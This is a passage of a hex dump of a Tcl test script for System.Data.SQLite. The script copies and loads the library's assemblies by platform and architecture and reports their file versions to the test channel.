73 20 3a 3a 6e 6f 28 63 6f 70 79 exists ::no(copy 1fae0 53 71 6c 69 74 65 4e 6f 6e 49 6d 70 6c 69 63 69 SqliteNonImplici 1faf0 74 46 69 6c 65 73 29 5d 7d 20 74 68 65 6e 20 7b tFiles)]} then { 1fb00 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 1fb10 20 20 69 66 20 7b 21 5b 69 6e 66 6f 20 65 78 69 if {![info exi 1fb20 73 74 73 20 3a 3a 6e 6f 28 63 6f 70 79 53 71 6c sts ::no(copySql 1fb30 69 74 65 50 6c 61 74 66 6f 72 6d 46 69 6c 65 73 itePlatformFiles 1fb40 29 5d 20 26 26 20 5c 0d 0a 20 20 20 20 20 20 20 )] && \.. 1fb50 20 20 20 20 20 20 20 20 20 20 20 20 20 5b 73 74 [st 1fb60 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 70 6c 61 ring length $pla 1fb70 74 66 6f 72 6d 5d 20 3e 20 30 7d 20 74 68 65 6e tform] > 0} then 1fb80 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 {.. 1fb90 20 20 20 20 20 20 66 6f 72 65 61 63 68 20 66 69 foreach fi 1fba0 6c 65 4e 61 6d 65 20 24 6e 61 74 69 76 65 46 69 leName$nativeFi 1fbb0 6c 65 4e 61 6d 65 73 20 7b 0d 0a 20 20 20 20 20 leNames {.. 1fbc0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 t 1fbd0 72 79 43 6f 70 79 41 73 73 65 6d 62 6c 79 20 24 ryCopyAssembly $1fbe0 66 69 6c 65 4e 61 6d 65 20 24 70 6c 61 74 66 6f fileName$platfo 1fbf0 72 6d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 rm.. 1fc00 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 }.. 1fc10 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 }.... 1fc20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 if 1fc30 20 7b 21 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 {![info exists 1fc40 3a 3a 6e 6f 28 63 6f 70 79 53 71 6c 69 74 65 41 ::no(copySqliteA 1fc50 72 63 68 69 74 65 63 74 75 72 65 46 69 6c 65 73 rchitectureFiles 1fc60 29 5d 20 26 26 20 5c 0d 0a 20 20 20 20 20 20 20 )] && \.. 1fc70 20 20 20 20 20 20 20 20 20 20 20 20 20 5b 73 74 [st 1fc80 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 61 72 63 ring length $arc 1fc90 68 69 74 65 63 74 75 72 65 5d 20 3e 20 30 7d 20 hitecture] > 0} 1fca0 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 1fcb0 20 20 20 20 20 20 20 20 20 20 66 6f 72 65 61 63 foreac 1fcc0 68 20 66 69 6c 65 4e 61 6d 65 20 24 6e 61 74 69 h fileName$nati 1fcd0 76 65 46 69 6c 65 4e 61 6d 65 73 20 7b 0d 0a 20 veFileNames {.. 1fce0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 1fcf0 20 20 20 74 72 79 43 6f 70 79 41 73 73 65 6d 62 tryCopyAssemb 1fd00 6c 79 20 24 66 69 6c 65 4e 61 6d 65 20 24 61 72 ly $fileName$ar 1fd10 63 68 69 74 65 63 74 75 72 65 0d 0a 20 20 20 20 chitecture.. 1fd20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d }. 1fd30 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 1fd40 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 }.. 1fd50 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 }.. 1fd60 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 }.... 1fd70 20 20 69 66 20 7b 21 5b 69 6e 66 6f 20 65 78 69 if {![info exi 1fd80 73 74 73 20 3a 3a 6e 6f 28 63 6f 70 79 53 71 6c sts ::no(copySql 1fd90 69 74 65 4d 61 6e 61 67 65 64 46 69 6c 65 73 29 iteManagedFiles) 1fda0 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 ]} then {.. 1fdb0 20 20 20 20 20 20 20 20 20 66 6f 72 65 61 63 68 foreach 1fdc0 20 66 69 6c 65 4e 61 6d 65 20 24 6d 61 6e 61 67 fileName $manag 1fdd0 65 64 46 69 6c 65 4e 61 6d 65 73 20 7b 0d 0a 20 edFileNames {.. 1fde0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 t 1fdf0 72 79 43 6f 70 79 41 73 73 65 6d 62 6c 79 20 24 ryCopyAssembly$ 1fe00 66 69 6c 65 4e 61 6d 65 0d 0a 20 20 20 20 20 20 fileName.. 1fe10 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 }.. 1fe20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 }.. 1fe30 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 }.... 1fe40 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 #.. 1fe50 23 20 4e 4f 54 45 3a 20 53 6b 69 70 20 74 72 79 # NOTE: Skip try 1fe60 69 6e 67 20 74 6f 20 6c 6f 61 64 20 61 6e 79 20 ing to load any 1fe70 66 69 6c 65 73 20 69 66 20 69 6e 73 74 72 75 63 files if instruc 1fe80 74 65 64 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 ted... 1fe90 23 0d 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 #.. if 1fea0 7b 21 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a {![info exists : 1feb0 3a 6e 6f 28 6c 6f 61 64 53 71 6c 69 74 65 46 69 :no(loadSqliteFi 1fec0 6c 65 73 29 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 les)]} then {.. 1fed0 20 20 20 20 20 20 20 20 20 20 20 69 66 20 7b 21 if {! 1fee0 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 6e [info exists ::n 1fef0 6f 28 6c 6f 61 64 53 71 6c 69 74 65 49 6d 70 6c o(loadSqliteImpl 1ff00 69 63 69 74 46 69 6c 65 73 29 5d 7d 20 74 68 65 icitFiles)]} the 1ff10 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 n {.. 1ff20 20 20 20 74 72 79 4c 6f 61 64 41 73 73 65 6d 62 tryLoadAssemb 1ff30 6c 79 20 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 ly System.Data.S 1ff40 51 4c 69 74 65 2e 64 6c 6c 0d 0a 20 20 20 20 20 QLite.dll.. 1ff50 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 }.... 1ff60 20 20 20 20 20 20 20 20 69 66 20 7b 21 5b 69 6e if {![in 1ff70 66 6f 20 65 78 69 73 74 73 20 3a 3a 6e 6f 28 6c fo exists ::no(l 1ff80 6f 61 64 53 71 6c 69 74 65 4c 69 6e 71 46 69 6c oadSqliteLinqFil 1ff90 65 73 29 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 es)]} then {.. 1ffa0 20 20 20 20 20 20 20 20 20 20 20 20 74 72 79 4c tryL 1ffb0 6f 61 64 41 73 73 65 6d 62 6c 79 20 53 79 73 74 oadAssembly Syst 1ffc0 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e 4c em.Data.SQLite.L 1ffd0 69 6e 71 2e 64 6c 6c 0d 0a 20 20 20 20 20 20 20 inq.dll.. 1ffe0 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 }.... 1fff0 20 20 20 20 20 20 69 66 20 7b 21 5b 69 6e 66 6f if {![info 20000 20 65 78 69 73 74 73 20 3a 3a 6e 6f 28 6c 6f 61 exists ::no(loa 20010 64 53 71 6c 69 74 65 45 66 36 46 69 6c 65 73 29 dSqliteEf6Files) 20020 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 ]} then {.. 20030 20 20 20 20 20 20 20 20 20 74 72 79 4c 6f 61 64 tryLoad 20040 41 73 73 65 6d 62 6c 79 20 53 79 73 74 65 6d 2e Assembly System. 20050 44 61 74 61 2e 53 51 4c 69 74 65 2e 45 46 36 2e Data.SQLite.EF6. 20060 64 6c 6c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 dll.. 20070 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 }.... 20080 20 20 69 66 20 7b 21 5b 69 6e 66 6f 20 65 78 69 if {![info exi 20090 73 74 73 20 3a 3a 6e 6f 28 6c 6f 61 64 53 71 6c sts ::no(loadSql 200a0 69 74 65 4e 6f 6e 49 6d 70 6c 69 63 69 74 46 69 iteNonImplicitFi 200b0 6c 65 73 29 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 les)]} then {.. 200c0 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 if 200d0 7b 21 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 3a {![info exists : 200e0 3a 6e 6f 28 6c 6f 61 64 53 71 6c 69 74 65 50 6c :no(loadSqlitePl 200f0 61 74 66 6f 72 6d 46 69 6c 65 73 29 5d 20 26 26 atformFiles)] && 20100 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 20110 20 20 20 20 20 20 5b 73 74 72 69 6e 67 20 6c 65 [string le 20120 6e 67 74 68 20 24 70 6c 61 74 66 6f 72 6d 5d 20 ngth $platform] 20130 3e 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 > 0} then {.. 20140 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 79 try 20150 4c 6f 61 64 41 73 73 65 6d 62 6c 79 20 53 79 73 LoadAssembly Sys 20160 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e tem.Data.SQLite. 20170 64 6c 6c 20 24 70 6c 61 74 66 6f 72 6d 0d 0a 20 dll$platform.. 20180 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a }.. 20190 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 201a0 69 66 20 7b 21 5b 69 6e 66 6f 20 65 78 69 73 74 if {![info exist 201b0 73 20 3a 3a 6e 6f 28 6c 6f 61 64 53 71 6c 69 74 s ::no(loadSqlit 201c0 65 41 72 63 68 69 74 65 63 74 75 72 65 46 69 6c eArchitectureFil 201d0 65 73 29 5d 20 26 26 20 5c 0d 0a 20 20 20 20 20 es)] && \.. 201e0 20 20 20 20 20 20 20 20 20 20 20 20 20 5b 73 74 [st 201f0 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 61 72 63 ring length $arc 20200 68 69 74 65 63 74 75 72 65 5d 20 3e 20 30 7d 20 hitecture] > 0} 20210 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 20220 20 20 20 20 20 20 20 20 74 72 79 4c 6f 61 64 41 tryLoadA 20230 73 73 65 6d 62 6c 79 20 53 79 73 74 65 6d 2e 44 ssembly System.D 20240 61 74 61 2e 53 51 4c 69 74 65 2e 64 6c 6c 20 24 ata.SQLite.dll$ 20250 61 72 63 68 69 74 65 63 74 75 72 65 0d 0a 20 20 architecture.. 20260 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 }.. 20270 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 }.. 20280 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 }.. 20290 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 }.... 202a0 66 6f 72 65 61 63 68 20 66 69 6c 65 4e 61 6d 65 foreach fileName 202b0 4f 6e 6c 79 20 5b 67 65 74 4e 61 74 69 76 65 4c Only [getNativeL 202c0 69 62 72 61 72 79 46 69 6c 65 4e 61 6d 65 73 4f ibraryFileNamesO 202d0 6e 6c 79 5d 20 7b 0d 0a 20 20 20 20 20 20 20 20 nly] {.. 202e0 20 20 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 catch {.. 202f0 20 20 20 20 20 20 20 74 70 75 74 73 20 24 3a 3a tputs $:: 20300 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 test_channel [ap 20310 70 65 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 pendArgs \.. 20320 20 20 20 20 20 20 20 20 20 20 20 20 22 2d 2d 2d "--- 20330 2d 20 66 69 6c 65 20 76 65 72 73 69 6f 6e 20 6f - file version o 20340 66 20 5c 22 22 20 24 66 69 6c 65 4e 61 6d 65 4f f \""$fileNameO 20350 6e 6c 79 20 22 5c 22 2e 2e 2e 20 5c 22 22 20 5c nly "\"... \"" \ 20360 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 20370 20 20 5b 66 69 6c 65 20 76 65 72 73 69 6f 6e 20 [file version 20380 5b 67 65 74 42 69 6e 61 72 79 46 69 6c 65 4e 61 [getBinaryFileNa 20390 6d 65 20 24 66 69 6c 65 4e 61 6d 65 4f 6e 6c 79 me $fileNameOnly 203a0 5d 5d 20 5c 22 5c 6e 5d 0d 0a 20 20 20 20 20 20 ]] \"\n].. 203b0 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d }.. } 203c0 0d 0a 0d 0a 20 20 20 20 20 20 20 20 63 61 74 63 .... catc 203d0 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 74 h {.. t 203e0 70 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 puts$::test_cha 203f0 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 nnel [appendArgs 20400 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 20410 20 20 22 2d 2d 2d 2d 20 66 69 6c 65 20 76 65 72 "---- file ver 20420 73 69 6f 6e 20 6f 66 20 5c 22 53 51 4c 69 74 65 sion of \"SQLite 20430 2e 49 6e 74 65 72 6f 70 2e 64 6c 6c 5c 22 2e 2e .Interop.dll\".. 20440 2e 20 5c 22 22 20 5c 0d 0a 20 20 20 20 20 20 20 . \"" \.. 20450 20 20 20 20 20 20 20 5b 66 69 6c 65 20 76 65 72 [file ver 20460 73 69 6f 6e 20 5b 67 65 74 42 69 6e 61 72 79 46 sion [getBinaryF 20470 69 6c 65 4e 61 6d 65 20 53 51 4c 69 74 65 2e 49 ileName SQLite.I 20480 6e 74 65 72 6f 70 2e 64 6c 6c 5d 5d 20 5c 22 5c nterop.dll]] \"\ 20490 6e 5d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d n].. }... 204a0 0a 20 20 20 20 20 20 20 20 63 61 74 63 68 20 7b . catch { 204b0 0d 0a 20 20 20 20 20 20 20 20 20 20 74 70 75 74 .. tput 204c0 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 s $::test_channe 204d0 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d l [appendArgs \. 204e0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 . " 204f0 2d 2d 2d 2d 20 66 69 6c 65 20 76 65 72 73 69 6f ---- file versio 20500 6e 20 6f 66 20 5c 22 53 79 73 74 65 6d 2e 44 61 n of \"System.Da 20510 74 61 2e 53 51 4c 69 74 65 2e 64 6c 6c 5c 22 2e ta.SQLite.dll\". 20520 2e 2e 20 5c 22 22 20 5c 0d 0a 20 20 20 20 20 20 .. \"" \.. 20530 20 20 20 20 20 20 20 20 5b 66 69 6c 65 20 76 65 [file ve 20540 72 73 69 6f 6e 20 5b 67 65 74 42 69 6e 61 72 79 rsion [getBinary 20550 46 69 6c 65 4e 61 6d 65 20 53 79 73 74 65 6d 2e FileName System. 20560 44 61 74 61 2e 53 51 4c 69 74 65 2e 64 6c 6c 5d Data.SQLite.dll] 20570 5d 20 5c 22 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 ] \"\n].. 20580 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 63 61 }.... ca 20590 74 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 tch {.. 205a0 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 tputs$::test_c 205b0 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 hannel [appendAr 205c0 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 gs \.. 205d0 20 20 20 20 22 2d 2d 2d 2d 20 66 69 6c 65 20 76 "---- file v 205e0 65 72 73 69 6f 6e 20 6f 66 20 5c 22 53 79 73 74 ersion of \"Syst 205f0 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e 4c em.Data.SQLite.L 20600 69 6e 71 2e 64 6c 6c 5c 22 2e 2e 2e 20 5c 22 22 inq.dll\"... \"" 20610 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 20620 20 20 5b 66 69 6c 65 20 76 65 72 73 69 6f 6e 20 [file version 20630 5b 67 65 74 42 69 6e 61 72 79 46 69 6c 65 4e 61 [getBinaryFileNa 20640 6d 65 20 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 me System.Data.S 20650 51 4c 69 74 65 2e 4c 69 6e 71 2e 64 6c 6c 5d 5d QLite.Linq.dll]] 20660 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 20670 20 20 5c 22 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 \"\n].. 20680 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 63 61 }.... ca 20690 74 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 tch {.. 206a0 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 tputs $::test_c 206b0 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 hannel [appendAr 206c0 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 gs \.. 206d0 20 20 20 20 22 2d 2d 2d 2d 20 66 69 6c 65 20 76 "---- file v 206e0 65 72 73 69 6f 6e 20 6f 66 20 5c 22 53 79 73 74 ersion of \"Syst 206f0 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e 45 em.Data.SQLite.E 20700 46 36 2e 64 6c 6c 5c 22 2e 2e 2e 20 5c 22 22 20 F6.dll\"... \"" 20710 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 \.. 20720 20 5b 66 69 6c 65 20 76 65 72 73 69 6f 6e 20 5b [file version [ 20730 67 65 74 42 69 6e 61 72 79 46 69 6c 65 4e 61 6d getBinaryFileNam 20740 65 20 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 e System.Data.SQ 20750 4c 69 74 65 2e 45 46 36 2e 64 6c 6c 5d 5d 20 5c Lite.EF6.dll]] \ 20760 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 20770 5c 22 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 7d \"\n].. } 20780 0d 0a 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b .... if { 20790 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 [string length$ 207a0 70 6c 61 74 66 6f 72 6d 5d 20 3e 20 30 7d 20 74 platform] > 0} t 207b0 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. 207c0 20 66 6f 72 65 61 63 68 20 66 69 6c 65 4e 61 6d foreach fileNam 207d0 65 4f 6e 6c 79 20 5b 67 65 74 4e 61 74 69 76 65 eOnly [getNative 207e0 4c 69 62 72 61 72 79 46 69 6c 65 4e 61 6d 65 73 LibraryFileNames 207f0 4f 6e 6c 79 5d 20 7b 0d 0a 20 20 20 20 20 20 20 Only] {.. 20800 20 20 20 20 20 63 61 74 63 68 20 7b 0d 0a 20 20 catch {.. 20810 20 20 20 20 20 20 20 20 20 20 20 20 74 70 75 74 tput 20820 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 s $::test_channe 20830 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d l [appendArgs \. 20840 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 20850 20 20 20 22 2d 2d 2d 2d 20 66 69 6c 65 20 76 65 "---- file ve 20860 72 73 69 6f 6e 20 6f 66 20 5c 22 22 20 24 70 6c rsion of \""$pl 20870 61 74 66 6f 72 6d 20 5c 0d 0a 20 20 20 20 20 20 atform \.. 20880 20 20 20 20 20 20 20 20 20 20 20 20 2f 20 24 66 / $f 20890 69 6c 65 4e 61 6d 65 4f 6e 6c 79 20 22 5c 22 2e ileNameOnly "\". 208a0 2e 2e 20 5c 22 22 20 5b 66 69 6c 65 20 76 65 72 .. \"" [file ver 208b0 73 69 6f 6e 20 5c 0d 0a 20 20 20 20 20 20 20 20 sion \.. 208c0 20 20 20 20 20 20 20 20 20 20 5b 67 65 74 42 69 [getBi 208d0 6e 61 72 79 46 69 6c 65 4e 61 6d 65 20 24 66 69 naryFileName$fi 208e0 6c 65 4e 61 6d 65 4f 6e 6c 79 20 24 70 6c 61 74 leNameOnly $plat 208f0 66 6f 72 6d 5d 5d 20 5c 22 5c 6e 5d 0d 0a 20 20 form]] \"\n].. 20900 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 }.. 20910 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 }.... 20920 20 20 20 20 20 20 63 61 74 63 68 20 7b 0d 0a 20 catch {.. 20930 20 20 20 20 20 20 20 20 20 20 20 74 70 75 74 73 tputs 20940 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c$::test_channel 20950 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a [appendArgs \.. 20960 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20970 22 2d 2d 2d 2d 20 66 69 6c 65 20 76 65 72 73 69 "---- file versi 20980 6f 6e 20 6f 66 20 5c 22 22 20 24 70 6c 61 74 66 on of \"" $platf 20990 6f 72 6d 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 orm \.. 209a0 20 20 20 20 20 20 20 22 2f 53 51 4c 69 74 65 2e "/SQLite. 209b0 49 6e 74 65 72 6f 70 2e 64 6c 6c 5c 22 2e 2e 2e Interop.dll\"... 209c0 20 5c 22 22 20 5b 66 69 6c 65 20 76 65 72 73 69 \"" [file versi 209d0 6f 6e 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 on \.. 209e0 20 20 20 20 20 20 5b 67 65 74 42 69 6e 61 72 79 [getBinary 209f0 46 69 6c 65 4e 61 6d 65 20 53 51 4c 69 74 65 2e FileName SQLite. 20a00 49 6e 74 65 72 6f 70 2e 64 6c 6c 20 24 70 6c 61 Interop.dll$pla 20a10 74 66 6f 72 6d 5d 5d 20 5c 22 5c 6e 5d 0d 0a 20 tform]] \"\n].. 20a20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 }.... 20a30 20 20 20 20 20 20 20 20 63 61 74 63 68 20 7b 0d catch {. 20a40 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 70 75 . tpu 20a50 74 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e ts $::test_chann 20a60 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c el [appendArgs \ 20a70 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 20a80 20 20 22 2d 2d 2d 2d 20 66 69 6c 65 20 76 65 72 "---- file ver 20a90 73 69 6f 6e 20 6f 66 20 5c 22 22 20 24 70 6c 61 sion of \""$pla 20aa0 74 66 6f 72 6d 20 5c 0d 0a 20 20 20 20 20 20 20 tform \.. 20ab0 20 20 20 20 20 20 20 20 20 22 2f 53 79 73 74 65 "/Syste 20ac0 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e 64 6c m.Data.SQLite.dl 20ad0 6c 5c 22 2e 2e 2e 20 5c 22 22 20 5b 66 69 6c 65 l\"... \"" [file 20ae0 20 76 65 72 73 69 6f 6e 20 5c 0d 0a 20 20 20 20 version \.. 20af0 20 20 20 20 20 20 20 20 20 20 20 20 5b 67 65 74 [get 20b00 42 69 6e 61 72 79 46 69 6c 65 4e 61 6d 65 20 53 BinaryFileName S 20b10 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 ystem.Data.SQLit 20b20 65 2e 64 6c 6c 20 24 70 6c 61 74 66 6f 72 6d 5d e.dll $platform] 20b30 5d 20 5c 22 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 ] \"\n].. 20b40 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d }.. }. 20b50 0a 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 5b ... if {[ 20b60 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 61 string length$a 20b70 72 63 68 69 74 65 63 74 75 72 65 5d 20 3e 20 30 rchitecture] > 0 20b80 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. 20b90 20 20 20 20 66 6f 72 65 61 63 68 20 66 69 6c 65 foreach file 20ba0 4e 61 6d 65 4f 6e 6c 79 20 5b 67 65 74 4e 61 74 NameOnly [getNat 20bb0 69 76 65 4c 69 62 72 61 72 79 46 69 6c 65 4e 61 iveLibraryFileNa 20bc0 6d 65 73 4f 6e 6c 79 5d 20 7b 0d 0a 20 20 20 20 mesOnly] {.. 20bd0 20 20 20 20 20 20 20 20 63 61 74 63 68 20 7b 0d catch {. 20be0 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 . t 20bf0 70 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 puts $::test_cha 20c00 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 nnel [appendArgs 20c10 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 20c20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 66 69 6c 65 "---- file 20c30 20 76 65 72 73 69 6f 6e 20 6f 66 20 5c 22 22 20 version of \"" 20c40 24 61 72 63 68 69 74 65 63 74 75 72 65 20 5c 0d$architecture \. 20c50 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 20c60 20 20 20 2f 20 24 66 69 6c 65 4e 61 6d 65 4f 6e / $fileNameOn 20c70 6c 79 20 22 5c 22 2e 2e 2e 20 5c 22 22 20 5b 66 ly "\"... \"" [f 20c80 69 6c 65 20 76 65 72 73 69 6f 6e 20 5c 0d 0a 20 ile version \.. 20c90 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20ca0 20 5b 67 65 74 42 69 6e 61 72 79 46 69 6c 65 4e [getBinaryFileN 20cb0 61 6d 65 20 24 66 69 6c 65 4e 61 6d 65 4f 6e 6c ame$fileNameOnl 20cc0 79 20 24 61 72 63 68 69 74 65 63 74 75 72 65 5d y $architecture] 20cd0 5d 20 5c 22 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 ] \"\n].. 20ce0 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 }.. 20cf0 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 }.... 20d00 20 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 20 catch {.. 20d10 20 20 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 tputs$::t 20d20 65 73 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 est_channel [app 20d30 65 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 endArgs \.. 20d40 20 20 20 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d "---- 20d50 20 66 69 6c 65 20 76 65 72 73 69 6f 6e 20 6f 66 file version of 20d60 20 5c 22 22 20 24 61 72 63 68 69 74 65 63 74 75 \"" $architectu 20d70 72 65 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 re \.. 20d80 20 20 20 20 20 20 22 2f 53 51 4c 69 74 65 2e 49 "/SQLite.I 20d90 6e 74 65 72 6f 70 2e 64 6c 6c 5c 22 2e 2e 2e 20 nterop.dll\"... 20da0 5c 22 22 20 5b 66 69 6c 65 20 76 65 72 73 69 6f \"" [file versio 20db0 6e 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 n \.. 20dc0 20 20 20 20 20 5b 67 65 74 42 69 6e 61 72 79 46 [getBinaryF 20dd0 69 6c 65 4e 61 6d 65 20 53 51 4c 69 74 65 2e 49 ileName SQLite.I 20de0 6e 74 65 72 6f 70 2e 64 6c 6c 20 24 61 72 63 68 nterop.dll$arch 20df0 69 74 65 63 74 75 72 65 5d 5d 20 5c 22 5c 6e 5d itecture]] \"\n] 20e00 0d 0a 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d .. }... 20e10 0a 20 20 20 20 20 20 20 20 20 20 63 61 74 63 68 . catch 20e20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 {.. 20e30 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 68 tputs $::test_ch 20e40 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 annel [appendArg 20e50 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 s \.. 20e60 20 20 20 20 20 22 2d 2d 2d 2d 20 66 69 6c 65 20 "---- file 20e70 76 65 72 73 69 6f 6e 20 6f 66 20 5c 22 22 20 24 version of \""$ 20e80 61 72 63 68 69 74 65 63 74 75 72 65 20 5c 0d 0a architecture \.. 20e90 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20ea0 22 2f 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 